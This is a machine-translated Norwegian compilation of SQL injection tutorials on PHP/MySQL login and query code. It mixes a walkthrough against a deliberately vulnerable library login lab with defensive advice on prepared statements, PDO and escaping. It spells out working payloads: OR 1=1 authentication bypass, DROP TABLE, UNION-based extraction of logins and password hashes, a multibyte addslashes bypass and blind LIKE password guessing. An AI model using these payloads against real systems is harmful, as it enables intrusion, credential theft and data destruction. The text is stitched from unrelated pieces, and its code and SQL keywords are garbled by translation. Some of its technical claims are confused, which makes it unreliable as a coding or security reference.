Jeg setter spørsmålstegn i uttrykket på grunn av de forskjellige variantene av denne løsningen. Det første alternativet, etter min mening, er det mest sårbare:

Eksempel 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" og passord = hash("" . $password . "")");

I dette tilfellet sjekker ikke koden for ugyldig datainndata. Verdier sendes direkte fra inndataskjemaet til SQL-spørringen. I beste fall skriver brukeren inn brukernavn og passord her. Hva er det verste scenarioet? La oss prøve å hacke dette skjemaet. Dette kan gjøres ved å sende "forberedte" data. La oss prøve å logge inn som den første brukeren fra databasen, og i de fleste tilfeller er dette administratorkontoen. For å gjøre dette sender vi en spesiell streng i stedet for å skrive inn påloggingen:

" ELLER 1=1; --

Det første sitatet kan også være et enkelt sitat, så ett forsøk på hacking er kanskje ikke nok. På slutten er det et semikolon og to bindestreker slik at alt som kommer etter blir til en kommentar. Som et resultat vil følgende SQL-spørring bli utført:

SELECT id, login FROM users WHERE login = ";" ELLER 1=1 GRENSE 0,1; - og passord = hash(“;Noe passord”)

Den vil returnere den første brukeren fra databasen og eventuelt logge på applikasjonen som den brukeren. Et godt grep ville være å legge til LIMIT for å logge inn som hver enkelt bruker. Dette er det eneste som trengs for å gå gjennom hver verdi.

Mer seriøse måter

I det forrige eksemplet er ikke alt så skummelt. Alternativene i administrasjonskontrollpanelet er alltid begrenset, og det vil ta mye arbeid å faktisk ødelegge nettstedet. Men et angrep gjennom SQL-injeksjon kan føre til mye større skade på systemet. Tenk på hvor mange applikasjoner som opprettes med hovedtabellen "brukere" og hva som ville skje hvis en angriper skrev inn kode som dette i en ubeskyttet form:

Min favorittpålogging"; DROP TABLE-brukere; --

"Brukere"-tabellen vil bli slettet. Dette er en av grunnene til å ta backup av databaser oftere.

_GET parametere

Alle parametere som fylles ut gjennom skjemaet overføres til serveren ved hjelp av en av to metoder - GET eller POST. Den vanligste parameteren som sendes via GET er id. Dette er et av de mest sårbare stedene for angrep, og det spiller ingen rolle hvilken type URL du bruker - ` http://example.com/ brukere/?id=1`, eller ` http://example.com/ brukere/1`, eller ` http://......./.../ post/35 `.

Hva skjer hvis vi setter inn følgende kode i URL-en?

Http://example.com/users/?id=1 OG 1=0 UNION SELECT 1,concat(login,passord), 3,4,5,6 FRA brukere WHERE id =1; --

Sannsynligvis vil en slik forespørsel returnere brukerens pålogging og... en hash av passordet hans. Den første delen av forespørselen `AND 1=0` gjør det som går foran den til falsk, så ingen poster mottas. Og den andre delen av forespørselen vil returnere data i form av forberedte data. Og siden den første parameteren er id, vil den neste være brukerens pålogging og hashen til passordet hans og noen andre parametere. Det er mange programmer som bruker brute force for å dekode et passord som det i eksemplet. Og siden brukeren kan bruke samme passord for ulike tjenester, er det mulig å få tilgang til dem.

Og her er det som er nysgjerrig: det er helt umulig å forsvare seg mot denne typen angrep ved å bruke metoder som `mysql_real_escape_string`, `addslashes`, etc. d. I utgangspunktet er det ingen måte å unngå et slikt angrep på, så hvis parametrene sendes slik:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

problemene vil ikke forsvinne.

Escapende tegn i en streng

Da jeg var ny på programmering, hadde jeg vanskelig for å jobbe med kodinger. Jeg forsto ikke hva forskjellen var mellom dem, hvorfor bruke UTF-8 når du trenger UTF-16, hvorfor databasen alltid setter kodingen til latin1. Da jeg endelig begynte å forstå alt dette, oppdaget jeg at det ville være færre problemer hvis jeg holdt alt i én kodestandard. Mens jeg sorterte gjennom alt dette, la jeg også merke til sikkerhetsproblemer som oppstår ved konvertering fra en koding til en annen.

Problemene beskrevet i de fleste av de foregående eksemplene kan unngås ved å bruke enkle anførselstegn i spørringer. Hvis du bruker addslashes() , vil SQL-injeksjonsangrep som er avhengige av enkeltanførselstegn escaped med en omvendt skråstrek mislykkes. Men et slikt angrep kan fungere hvis du bare erstatter et tegn med kode 0xbf27 , addslashes() konverterer det til et tegn med kode 0xbf5c27 - og dette er et fullstendig gyldig enkelt anførselstegn. Med andre ord vil `뼧` gå gjennom addslashes() og deretter vil MySQL-mapping konvertere det til to tegn 0xbf (¿) og 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Dette eksemplet kan hackes ved å sende 뼧 eller 1=1; -- i påloggingsfeltet i skjemaet. SQL-motoren vil generere den endelige spørringen slik:

VELG * FRA brukere WHERE login = "¿" ELLER 1=1; --

Og det vil returnere den første brukeren fra databasen.

Beskyttelse

Hvordan beskytte applikasjonen? Det er mange metoder, hvis bruk ikke vil gjøre applikasjonen helt usårbar, men i det minste øke sikkerheten.

Bruker mysql_real_escape_string

Addslashes()-funksjonen er upålitelig fordi den ikke tillater mange hackingtilfeller. mysql_real_escape_string har ikke slike problemer

Bruker MySQLi

Denne MySQL-utvidelsen kan fungere med relaterte parametere:

$stmt = $db->prepare("oppdater uets set parameter = ? hvor id = ?"); $stmt->bind_param("si", $navn, $id); $stmt->execute();

Bruker PUD

Lang vei å erstatte parametere:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (navn, verdi) VERDIER (:navn, :verdi)"); $stmt->bindParam(":navn", $navn); $stmt->bindParam(":verdi", $verdi); // sett inn en rad $navn = "en"; $verdi = 1; $stmt->execute();

Kort vei:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("OPPDATERT navn på personer SET = :nytt_navn WHERE id = :id"); $stmt->execute(array("new_name" => $navn, "id" => $id));

Bruker ORM

Bruk ORM og PDO og bind (bruk bind) parametere. Unngå SQL i koden din, hvis du ser SQL i koden din så er det noe galt med den.

ORM vil ta seg av sikkerheten i flaskehalsene i koden og parametervalideringen.

konklusjoner

Hensikten med denne serien er ikke å gi en komplett guide til hacking av nettsteder, men å sikre applikasjonssikkerhet og forhindre angrep fra enhver kilde. Jeg prøvde å skrive denne artikkelen ikke bare for programmerere - de bør være klar over eventuelle trusler i koden og vite hvordan de kan forhindre dem, men også for kvalitetsingeniører - fordi jobben deres er å spore og rapportere slike problemer.

Essensen av SQL-injeksjoner

Du har sikkert allerede hørt vitsen fra Internett: " Hvorfor er det likt i alle tegnetimer: For eksempel en leksjon om å tegne en ugle. Først tegner vi uglens øye i detalj i en halv time. Og så - en gang - på fem minutter - tegner vi resten av uglen».

Det er til og med et bilde om dette:

Det er mye materiale om SQL-injeksjoner: artikler, bøker, videokurs (betalt og gratis). Imidlertid er det ikke mange av dem som legger til forståelse for dette spørsmålet. Spesielt hvis du er nybegynner. Jeg husker følelsene mine godt: her er sirkelen, her er resten av uglen...

Hensikten med dette notatet er å trekke øyet på uglen for å gi en normal, enkel forklaring, hva er SQL-injeksjoner, hva er essensen deres, hvor farlige de er og hvorfor.

For eksperimenter vil vi ha et veldig enkelt skript som er sårbart for SQL-injeksjon:

For å få tilgang til Bobruisk regionale bibliotek, skriv inn legitimasjonen din:

Skriv inn navnet ditt

Skriv inn passordet ditt


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $navn = filter_input(INPUT_GET, "navn"); $password = filter_input(INPUT_GET, "passord"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Navnet ditt:$obj->navn

Din status:$obj->status

Bøker tilgjengelig for deg:$obj->bøker


"; ) ) else ( printf("Feil: %sn", $mysqli->feil); ) $mysqli->lukk(); ?>

Du vil forstå mye mer hvis du gjør alt med meg. Så her er det. Den inneholder to filer: index.php Og db_library.sql. Plasser index.php-filen hvor som helst på serveren - dette er vårt sårbare skript. Og filen db_library.sql må importeres, for eksempel ved å bruke phpMyAdmin.

I index.php-filen er databasebrukernavnet satt til root og passordet er tomt. Du kan legge inn dataene dine ved å redigere linjen:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Ifølge legenden er dette et påloggingsskjema til nettversjonen av Bobruisk regionale bibliotek. Vi har allerede fått legitimasjon: brukernavn - Demo, passord - 111.

La oss legge inn dem og se:

Vår legitimasjon har blitt akseptert, vårt navn, status og bøker som er tilgjengelige for oss vises på skjermene. Du kan prøve, med andre data (hvis du endrer navn eller passord), vil vi ikke kunne logge inn og se bøkene som er tilgjengelige for lesing. Vi har heller ingen mulighet til å vite hvilke bøker som er tilgjengelige for andre fordi vi ikke kjenner brukernavnet og passordet deres.

La oss se på kildekoden for å forstå hvordan databaseforespørselen skjedde:
Ord PLUKKE UT i en SQL-spørring viser hvilke data som må hentes. Du kan for eksempel spesifisere SELECT-navn, eller SELECT-navn, passord. Så i det første tilfellet vil bare navnet bli hentet fra tabellen, og i det andre - bare navnet og passordet. Stjernen sier at du må få alle verdiene. De. SELECT * - dette betyr å få alle verdier.

FRA forteller hvor du må få dem fra. FROM er etterfulgt av tabellnavnet, dvs. FROM `medlemmer`-oppføringen sier get fra `medlemmer`-tabellen.

Lengre HVOR, hvis du har studert noen programmeringsspråk, så ligner dette ordet mest på "Hvis". Og så er det betingelser, disse forholdene kan være sanne (1) eller usanne (0). I vårt tilfelle

(navn = '$name') OG (passord ='$password')

betyr at betingelsen vil være sann hvis den beståtte variabelen $name er lik verdien av navnefeltet i tabellen og den beståtte variabelen '$password er lik verdien av passordfeltet i tabellen. Hvis minst én betingelse ikke er oppfylt (feil brukernavn eller passord), vil ingenting bli tatt fra tabellen, dvs. uttrykket SELECT * FROM `members` WHERE name = '$name' OG passord ='$password' betyr: i «medlemmer»-tabellen, ta verdiene til alle feltene hvis betingelsen er oppfylt for dem - det beståtte brukernavnet og passordet samsvarer med de som finnes i tabellen.

Det er klart. La oss nå for eksempel sette inn et enkelt sitat med brukernavnet:

Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Ingen data ble mottatt, i stedet ser vi en feil:
Da vi la inn riktige data, så forespørselen vår slik ut:
Ved å legge til et tilbud blir søket vårt:
Jeg legger inn flere mellomrom for klarhet, det vil si at vi mottar forespørselen
Forespørselen er forresten korrekt i syntaks. Og umiddelbart etter det, uten noen separatorer, fortsetter forespørselen:

"AND password="111"

Det er dette som bryter alt, siden antallet åpnings- og sluttanførselstilbud ikke er likt. Du kan for eksempel sette inn et annet sitat:
Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Feilen forsvant, men dette ga ingen mening til forespørselen. Den meningsløse halen av forespørselen plager oss. Hvordan kan vi bli kvitt det?

Det er et svar - dette er kommentarer.

Kommentarer i MySQL kan spesifiseres på tre måter:

  1. # (hash - fungerer til slutten av linjen)
  2. - (to streker - arbeid til slutten av linjen, du trenger et mellomromstegn etter to streker)
  3. /* dette er en kommentar */ en gruppe på fire tegn - alt inni er en kommentar, alt før eller etter denne gruppen med tegn regnes ikke som en kommentar.
La oss legge inn en kommentar i spørringen vår med ett sitat, etter dette sitatet setter vi et kommentartegn for å forkaste halen, og et +-tegn, som angir et mellomrom, slik at spørringen blir slik:
Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Ikke bare forsvant feilen, men de riktige dataene ble vist for Demo-brukeren. Siden nå har forespørselen vår tatt form
tross alt hestehalen -+ ' OG passord ='111' omgjort til en kommentar og påvirker ikke lenger forespørselen.

Ta en ny titt på den nye forespørselen:
Og den sjekker ikke lenger passordet! De. Når vi kjenner navnene på legitime brukere, men ikke kjenner passordene deres, kan vi se deres personlige data. De. Vi har allerede begynt å utnytte SQL-injeksjon.

Jeg kjenner dessverre ikke til noen legitime navn og må finne på noe annet.

La oss se nærmere på denne delen av forespørselen:
Husker du AND som brukes i den første spørringen? Det står for logisk OG operasjon. La meg minne deg på at den logiske operasjonen "AND" produserer "true" (1) bare hvis begge uttrykkene er sanne. Men den logiske operatoren "ELLER" produserer "true" (1) selv om minst ett av uttrykkene er sant. De. uttrykk
vil alltid være sant vil alltid returnere 1. Fordi ett av de to uttrykkene som sammenlignes vil alltid returnere 1.

De. vi må lage et uttrykk som ser slik ut:
Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ ELLER 1 -+ &password=111

Resultat:

Resultatet er utmerket! Vi mottok en liste over alle postene i tabellen.

ORDER BY og UNION er de viktigste vennene til SQL-injeksjoner

Vi har allerede mottatt data som var utilgjengelige for de som ikke hadde gyldig brukernavn og passord. Er det noe annet jeg kan få? Ja, du kan få en full dump av denne tabellen (la meg minne deg på at vi fortsatt ikke har passord. Dessuten kan vi hente alle dataene fra alle databasene på denne serveren gjennom ett lite hull!

UNION lar deg kombinere SQL-spørringer. I det virkelige liv er oppgavene mine enkle, og derfor enkle spørsmål til databaser og muligheter UNION Jeg bruker det ikke. Men for SQL-injeksjoner er det ikke noe mer verdifullt ord enn dette.

UNION lar deg ganske fleksibelt kombinere SQL-spørringer med SELECT, inkludert fra forskjellige databaser. Men det er et viktig syntakskrav: antall kolonner i den første SELECT må være lik antall kolonner i den andre SELECT.

REKKEFØLGE ETTER angir sorteringen av dataene mottatt fra tabellen. Du kan sortere etter kolonnenavn eller nummer. Dessuten, hvis det ikke er noen kolonne med dette nummeret, vil en feil vises:

Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BESTILL ETTER 1 -+ &password=111

Forespørselen ser slik ut:
Vi erstattet brukernavnet med -1 slik at ingen data vises.

Det er ingen feil, det er heller ingen feil med forespørsler
Og her er forespørselen
den tilsvarer adresselinjen

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BESTILL ETTER 6 -+ &password=111

Jeg fikk en feil

Dette betyr at data velges fra tabellen i fem kolonner.

Vi konstruerer søket vårt med UNION:

Som sagt skal antall felt være likt i begge SELECT-ene, men hva som står i disse feltene er ikke veldig viktig. Du kan for eksempel ganske enkelt skrive inn tall – og det er disse som vil vises. Du kan skrive inn NULL - da vises ingenting i stedet for feltet.
Adresselinje:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

En annen måte å finne antall kolonner på er å bruke samme UNION. Ved hjelp av en stige legger vi til antall kolonner:
De vil alle produsere samme feil:

Gjør dette til feilmeldingen forsvinner.

Vær oppmerksom på at innholdet i enkelte UNION SELECT 1,2,3,4,5-felt vises på skjermen. I stedet for tall kan du spesifisere funksjoner.

Hva du skal skrive i SELECT

Det er noen funksjoner som kan skrives direkte i UNION:

  • DATABASE()- vis navnet på gjeldende database
  • NÅVÆRENDE BRUKER()- viser brukernavn og vertsnavn
  • @@datadir- viser den absolutte banen til databasen
  • BRUKER()- Brukernavn
  • VERSJON()- databaseversjon
I vårt eksempel vises felt 2, 4 og 5. Dvs. vi kan bruke hvilket som helst av disse feltene.

Bruker DATABASE() i UNION SELECT

Adresse:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Resultat:

Henter tabellnavn, felt og databasedump

I databasen informasjonsskjema det er et bord som heter tabeller. Denne tabellen inneholder en liste over alle tabeller som finnes i alle databaser på denne serveren. Vi kan velge våre tabeller ved å søke i feltet tabellskjema Navnet på databasen vår er 'db_library' (vi fant navnet ved å bruke DATABASE()).

Dette kalles den komplette UNION-teknikken. Det er mye materiale om det på Internett. På MySQL-serveren min fungerer ikke hele UNION-teknikken. Jeg får en feilmelding
Det fungerer ikke på grunn av krumningen av armene, fordi denne teknikken heller ikke gir resultater med sqlmap:

Noe gikk galt med full UNION-teknikk (kan være på grunn av begrensninger på antall påmeldinger). Faller tilbake til delvis UNION-teknikk

Dette kan skyldes MySQL versjon 5.6. Fordi Jeg kan ikke gi praktiske eksempler, og jeg er ikke interessert i å omskrive andres ødelagte kommandoer - nå, selv uten meg, er det så mange "gode teoretikere" på Internett som du vil, så jeg bestemte meg for å umiddelbart gå videre til med tanke på den delvise UNION-teknikken. Men dette er ikke den enkleste teknikken, og artikkelen er allerede ganske lang.

I neste del av artikkelen vil vi studere den delvise UNION-teknikken, med dens hjelp vil vi få alle dataene på serveren: navnene på databasene, navnene på tabellene og feltene i disse tabellene, så vel som innholdet deres . Mens du venter på at den andre delen skal dukke opp, øv deg, les om SQL-injeksjoner og UNION-teknikken; følgende artikler anbefales også å lese:

P.S. oh yeah, jeg glemte LIMIT. Neste gang skal jeg også snakke om rollen til LIMIT i SQL-injeksjoner.

SQL-injeksjoner – innebygging av ondsinnet kode i databasespørringer – er den farligste typen angrep. Ved å bruke SQL-injeksjoner kan en angriper ikke bare få privat informasjon fra databasen, men også under visse forhold gjøre endringer der.

SQL-injeksjonssårbarheten oppstår fordi brukerinformasjon er inkludert i en databasespørring uten riktig behandling: for å sikre at skriptet ikke er sårbart, er det nødvendig å sikre at alle brukerdata havner i alle databasespørringer i escaped form. Kravet om universalitet er hjørnesteinen: et brudd begått i ett skript gjør hele systemet sårbart.

Eksempel på sårbarhet

La oss anta at det er et skript som viser en liste over brukere fra en gitt by, og tar by-ID-en som en GET-parameter. Skriptet vil nås via HTTP på /users.php?cityid=20

I skriptet ovenfor setter utvikleren inn en GET-parameter i SQL-spørringen, noe som antyder at GET-parameteren alltid vil inneholde et tall. En angriper kan sende en streng som en parameter og dermed ødelegge forespørselen. For eksempel vil den få tilgang til skriptet som /users.php?cityid=20; SLETT * FRA brukere
SQL-spørringen vil se slik ut:

Forespørselen vil bli utført, og skriptet vil returnere ikke bare brukere fra den angitte byen, men også en liste over alle brukere hvis passord vil vises i stedet for deres virkelige navn.

Hvordan beskytte deg selv?

La oss omslutte brukerinformasjonen i enkle anførselstegn. Vil dette hjelpe?

Fra eksempelet ovenfor kan du se at det ikke er nok å legge ved enkeltsitater. Du må også unnslippe eventuelle anførselstegn i strengen. For å gjøre dette, tilbyr PHP funksjonen mysql_real_escape_string(), som legger til en omvendt skråstrek før hvert sitat, tilbakeanførsel og noen andre spesialtegn. La oss se på koden:

Så, for å beskytte mot SQL-injeksjoner, må alle eksterne parametere som kan inneholde tekst behandles med mysql_real_escape_string() og er vedlagt enkle anførselstegn.

Hvis du vet at en parameter skal ha en numerisk verdi, kan den konverteres til numerisk form eksplisitt ved å bruke funksjonen intervall() eller floatval(). I dette eksemplet kan vi bruke:

$sql = "VELG brukernavn, ekte navn
FRA brukere
WHERE cityid=""
.intervall ( $_GET ["cityid" ] ) .""" ;

Forskjeller mellom mysql_real_escape_string() og mysql_escape_string()

mysql_real_escape_string() er en forbedret versjon av mysql_escape_string()-funksjonen, som er mye brukt til å generere sikre spørringer til MySQL-databasen. Forskjellen mellom disse to funksjonene er at mysql_real_escape_string() fungerer korrekt med multi-byte-kodinger.

Anta at det er et tegn i dataene som behandles (f.eks. i UTF-8), hvis kode består av to byte - heksadesimal 27 og 2B (henholdsvis 39 og 43 desimal). mysql_escape_string() behandler hver byte med data som sendes til den som et separat tegn (mer presist, som koden til et separat tegn) og bestemmer at sekvensen av byte 27 og 2B er to forskjellige tegn: et enkelt anførselstegn (") og en pluss (+). Fordi funksjonen godtar et anførselstegn som et spesialtegn, vil en skråstrek (\) legges til før byten med kode 27, som faktisk er en del av et ufarlig tegn. Som et resultat vil dataene bli sendt til databasen i en forvrengt form.

Det er verdt å merke seg at mysql_real_escape_string() fungerer korrekt i alle tilfeller og kan fullstendig erstatte mysql_escape_string().

mysql_real_escape_string() er tilgjengelig i PHP siden versjon 4.3.0.

Ytterligere eksempler

Vi har sett på det enkleste eksemplet, men i praksis kan en sårbar spørring være mer kompleks og ikke vise resultatene til brukeren. Deretter vil vi vurdere eksempler på SQL-injeksjoner i noen mer komplekse tilfeller, uten å kreve fullstendighet.

Injeksjon i komplekse spørsmål

I det enkleste eksemplet var det mulig å bygge inn kode på slutten av SQL-spørringen. I praksis kan det på slutten av en SQL-spørring være tilleggsbetingelser, sorteringsoperatorer, grupperinger og andre SQL-konstruksjoner. I hvert enkelt tilfelle vil angriperen prøve å bygge inn en ondsinnet del på en slik måte at forespørselen som helhet forblir syntaktisk korrekt, men utfører en annen funksjon. Her skal vi se på det enkleste eksemplet på en sårbar forespørsel med en tilleggsbetingelse.

Som et resultat, alder tilstand<35 vil ikke påvirke prøven, fordi OR-operatoren har lavere prioritet enn AND-operatoren, og WHERE fra spørringen ovenfor kan skrives annerledes som HVOR (cityid="20" OG 1 ) ELLER ("1" OG alder<"35" ) (husk at WHERE 1-uttrykket alltid er sant). Som et resultat vil både linjene med cityid="20" og de med alder passe til tilstanden<35, причем наличие последних не обязательно.

For komplekse spørringer krever vellykkede SQL-injeksjoner litt kreativitet, men angripere kan forventes å ha noe.

Søkeresultater vises ikke for brukeren

Det kan være at en spørring hvis resultater ikke vises til brukeren, er sårbar. Dette kan for eksempel være en tilleggsforespørsel:

$sql = "VELG antall(*)
FRA brukere
WHERE userid=""
.$_GET [ "brukerid" ] .""" ;

Spørringen ovenfor sjekker bare for tilstedeværelsen av en bruker med en gitt bruker-id: hvis den returnerer en verdi som ikke er null, vises brukerprofilen med den tilsvarende bruker-IDen, men hvis 0 returneres (det vil si at det ikke er noen brukere som tilfredsstiller forespørselskriterier), vises meldingen "bruker ikke funnet".

I dette tilfellet bestemmes passordet (eller annen informasjon) av brute force. Angriperen sender strengen som bruker-id-parameter 2" OG passord LIKE "a%. Endelig forespørsel:

VELG antall (*) FRA brukere WHERE bruker-ID="2" OG passord LIKE "a% "

Angriperen vil motta "bruker ikke funnet" hvis passordet ikke starter med bokstaven "a", eller standard brukerprofilside, ellers. Den første bokstaven i passordet bestemmes av brute force, deretter den andre osv.

konklusjoner

  • Alle spørringer som bruker eksterne data må beskyttes mot SQL-injeksjoner. Eksterne data kan overføres ikke bare som GET-parametere, men også ved å bruke POST-metoden, hentet fra en COOKIE, fra tredjepartssider eller fra en database der brukeren hadde mulighet til å legge inn informasjon.
  • Alle numeriske parametere skal eksplisitt konverteres til numerisk form ved hjelp av funksjoner intervall() Og floatval()
  • Alle strengparametere skal escapes med mysql_real_escape_string() og sett det i anførselstegn.
  • Hvis det er vanskelig å konstruere en SQL-injeksjon, bør du ikke forvente at angriperen ikke vil finne ut hvordan det skal gjøres. Dette gjelder spesielt motorer hvis kildekode er offentlig.

Lykke til med å bygge sikre applikasjoner!